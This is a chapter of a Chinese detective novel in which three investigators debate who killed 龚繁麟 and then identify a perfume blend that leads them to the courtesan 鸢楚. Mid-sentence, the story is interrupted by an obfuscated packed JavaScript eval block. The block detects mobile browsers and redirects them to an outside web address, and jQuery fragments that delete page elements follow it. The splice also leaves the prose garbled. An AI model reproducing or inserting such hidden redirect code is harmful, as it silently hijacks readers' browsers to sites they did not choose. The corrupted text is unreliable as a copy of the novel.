18.第二案:蚌中仙03
作品:《万仙探案书》 龚家门外,王博多看着宁婉莹伤心的脸随着门缝合上而消失,皱起了眉头。
三人走在街上时,他终于忍不住,挺了挺腰杆道:“说不定人是宁婉莹杀的。”
这突如其来的猜测,令万仙和雾山角顿下脚步,齐齐向他望去。
王博多被他们一瞧,更来了劲儿,滔滔不绝道:“宁婉莹能靠不忍剑,快速地拆穿小师爷的身份,说明她眼神敏锐,心思缜密。这样一位女子,能察觉不出丈夫在外面偷情?”
“你是觉得,她发现了丈夫寻欢作乐一事,怒从心起,于是杀了他?”万仙“啪”地一声将折扇打开,饶有兴致地问。
“完全有这个可能,不是吗?”王博多说。
雾山角却道:“她身怀六甲,挺着大肚子,要杀一个大男人可不容易。要知道,龚繁麟如今可不是抱恙之躯。”
“说不定是她差人去杀的龚繁麟。”万仙顺着他的话猜测道,“说不定她差的那人就是船夫。那船夫杀了人后,就拿着酬劳销声匿迹了。”
“也有可能宁婉莹杀人灭口。船夫杀死了龚繁麟,去领酬劳时,又被宁婉莹杀害,所以你们衙门的人找不到他的踪迹。”王博多对雾山角说。
雾山角思索道:“那扮演蚌中仙的女子呢?”
“或许她也被船夫杀害了,或许……”
“或许那娼妓才是宁婉莹派去的杀手。”雾山角自己回答自己,“她趁龚繁麟不注意时,刺死了他。船夫撞见了她杀人的场景,于是她把船夫也给杀害了。”
“那她为何要藏匿船夫的尸体,而不是像处理龚繁麟尸体一样,将船夫的尸体也丢在芦苇岛上?”万仙问道。
谁料王博多反倒先接了话:“船夫可能只是撞见了娼妓杀人,吓得溜走了。”
“那他为何不报官?”雾山角道。
王博多一时不知道如何回答。万仙扇着扇子,像是替他说话似的继续推测道:“也有一种可能是娼妓和船夫联手杀的龚繁麟,所以他们才会一起消失不见。”
王博多闻言,用力地一拍手,嚷道:“没错,没错,这很有可能!”
万仙赶紧提醒道:“当然这些只是我们的胡乱猜测罢了,也许根本没有宁婉莹买凶杀人一事。”
王博多连连点头称是。
雾山角则故意调笑道:“不过你这小跟班,倒没有我想象中那么笨。”
这话虽藏着褒奖的意味,却令王博多炸了毛。
“谁笨了!你才笨!”王博多狠狠地瞪了雾山角一眼,嚷嚷起来,“再说了,小跟班这词我不喜欢,我是仙儿哥的副手!副手!”
万仙知道雾山角是故意逗弄王博多,而王博多完全着了他的道,不禁无奈地摇了摇头。
他把折扇一收,打住了王博多嚷嚷的嘴,转头问雾山角:“你刚才说龚繁麟是被人刺死的?”
“是的,他是被锐利细尖之物刺死的。”雾山角道。
“刺在哪里?”
“这里。”雾山角指了指自己的喉咙,不羁地瞟了一眼王博多,道,“这些真正有用的细节,还得靠我这个临时的副手提供给仙儿哥呀。”
王博多吃了瘪,翻了个白眼,抱起双臂生闷气。
万仙知道雾山角是在报复王博多在马车上让自己吃瘪,汗颜地呲了呲嘴,暗骂他怎么也跟个小孩子似的。
不过雾山角很快正了正脸色,认真起来,道:“龚繁麟喉咙处的伤是致命伤,但他身上可不止这一处伤口。”
“哦?”
“在死者身上,还分布着五处刺伤。”
“分布?它们不是在一起的?”万仙惊讶。
“我知道你在想什么。”雾山角说,“你是不是怀疑,龚繁麟要对‘蚌中仙’行过分的不轨之事,于是她奋起反抗,刺死了他?”
万仙点头。
“如果是这样的话,他身上的伤口应该是模糊的,交叠在一起的。但事实上,那些伤口清晰地分布在他上半身。”
“所以凶手将凶器刺进了龚繁麟的喉咙,致使他死亡后,又故意在他身上刺了五次?”
“我想应该是这样的。”
“那很可能不是临时起意杀的人。”
“没错。凶手很像是在完成某种仪式……”
王博多挠着脑袋,问道:“什么仪式?”
“可能是复仇仪式。”万仙道,“我们假设你刚才的猜测是对的,龚繁麟的死是宁婉莹派人所为。那么就是宁婉莹要求杀手在龚繁麟身上刺下六处伤口。”
“为何?”王博多还是不解。
雾山角淡淡道:“也许龚繁麟去了六次碎星湖,所以宁婉莹为了抒发心中的愤恨,要求杀手留下了这六处伤。”
“那我们折回去,问问宁婉莹,是不是知道龚繁麟去过几次碎星湖?”王博多提议。
万仙摇头,道:“若她说她知道,你可有方法将她定罪?如今我们人证物证都没有,仅凭这点猜测,怕是无济于事。”
“那我们接下来怎么办?”王博多和万仙往前走,却忽然发现雾山角停下了脚步,不禁转头嚷道,“你愣着干嘛?”
万仙也转头看向雾山角,只见他仰着头,打量着一家香料铺。
“怎么,有心上人了?想买个香囊带回去送她?”王博多废话超多。
万仙却立马明了雾山角突然停下脚步的原因。
“那‘蚌中仙’在蚌壳中留下了香气?”万仙退回到雾山角身旁。
“你怎么知道?”雾山角惊道,“多亏了那蚌壳一直合拢着,才没让那香气彻底消散。”
万仙并未回答他的惊讶之问,而是直接道:“你还记得那是什么香味?”
“虽只在我鼻尖停留一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049464|194637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瞬,但那香味如酒般醉人,我想,再次闻到,我应该可以认出它来。”
“认出来又如何?”王博多跳到二人身旁,问。
“找到它的卖家,便有机会找到它的买家。”说罢,万仙同雾山角走进街边的香料铺。
王博多闻到香料铺里飘来浓香,忍不住揉了揉鼻子,才亦步亦趋跟了进去。
香料铺内,香料被精心分类包装,有的制成香囊、香袋,挂于物架上供人挑选。有的与颜料混合,制成胭脂,装入雕花小盒,十分精致,讨人喜爱。有的则制成熏香,一根便能卖上令人咋舌的贵价。铺中更有香气四溢的花露,滴一滴在手心,满手都是香气。
万仙三人中只有雾山角知道那蚌壳中的味道如何,自然由他来闻香。
店主得知小师爷此番是来查案,虽表示配合,却也不上心招待。最后还是万仙和王博多陪着他一个香囊一个香囊地闻,一盒胭脂一盒地嗅。
香料铺本就香气弥漫,要在其中寻到只闻过一瞬的香味,雾山角心里着实有压力。所以他表面轻松,闻得却格外认真。但闻了半天,他只闻到几瓶花露有些许类似的气味,却都不是那日蚌壳中的味道,他不免有了挫败之感。
被香气熏得晕头转向的王博多在看到他放下最后一瓶花露时,也颇为遗憾地问:“都没有吗?”
他不是质疑雾山角的能力,而是遗憾花了这么久的功夫还是徒劳无获,雾山角却会错了意,有些气恼道:“这家没有,就寻下家呗!着什么急!”
说罢,他便迈开步子要走,万仙却将扇子一合,伸出手拦住了他。
“雾山兄留步。”他走到那一堆花露前,挑出了雾山角刚刚觉得气味“有些许类似的”的花露,问店主,“老板,这些花露可否混合使用?”
“当然可以。”老板道。
雾山角立刻明白了万仙的意思,暗骂自己愚笨,于是故作姿态般地扯着嗓子嚷道:“老板,拿个空瓶过来。”
“空瓶也是要钱的……”老板的话被王博多甩过来的文钱打断,他嘿嘿一笑,急忙道,“马上,马上。”
于是万仙把扇子往袖口一收,接过老板递来的空瓶,专心调配起了花露。
散发着香味的水珠混在一起,挥发出新的气味。
雾山角不用凑近,就闻到了那香气。它如酒般醉人,正是那蚌壳里传出的味道!
“老板,近日可有人将这些花露一起买走?”雾山角立马问道。
老板愣了愣,回忆道:“是鸢楚姑娘。她最爱收集花露,还时常撺掇她的客人来我这里买……上一次,她就将这几瓶花露一起买了回去,还说要跟姐妹们分享 。”
“撺掇她的客人?”万仙故意挑出了这几个字。
老板脸上闪过一丝暧昧的神色,道:“鸢楚姑娘做什么生意,我想我就不必多说了吧?”

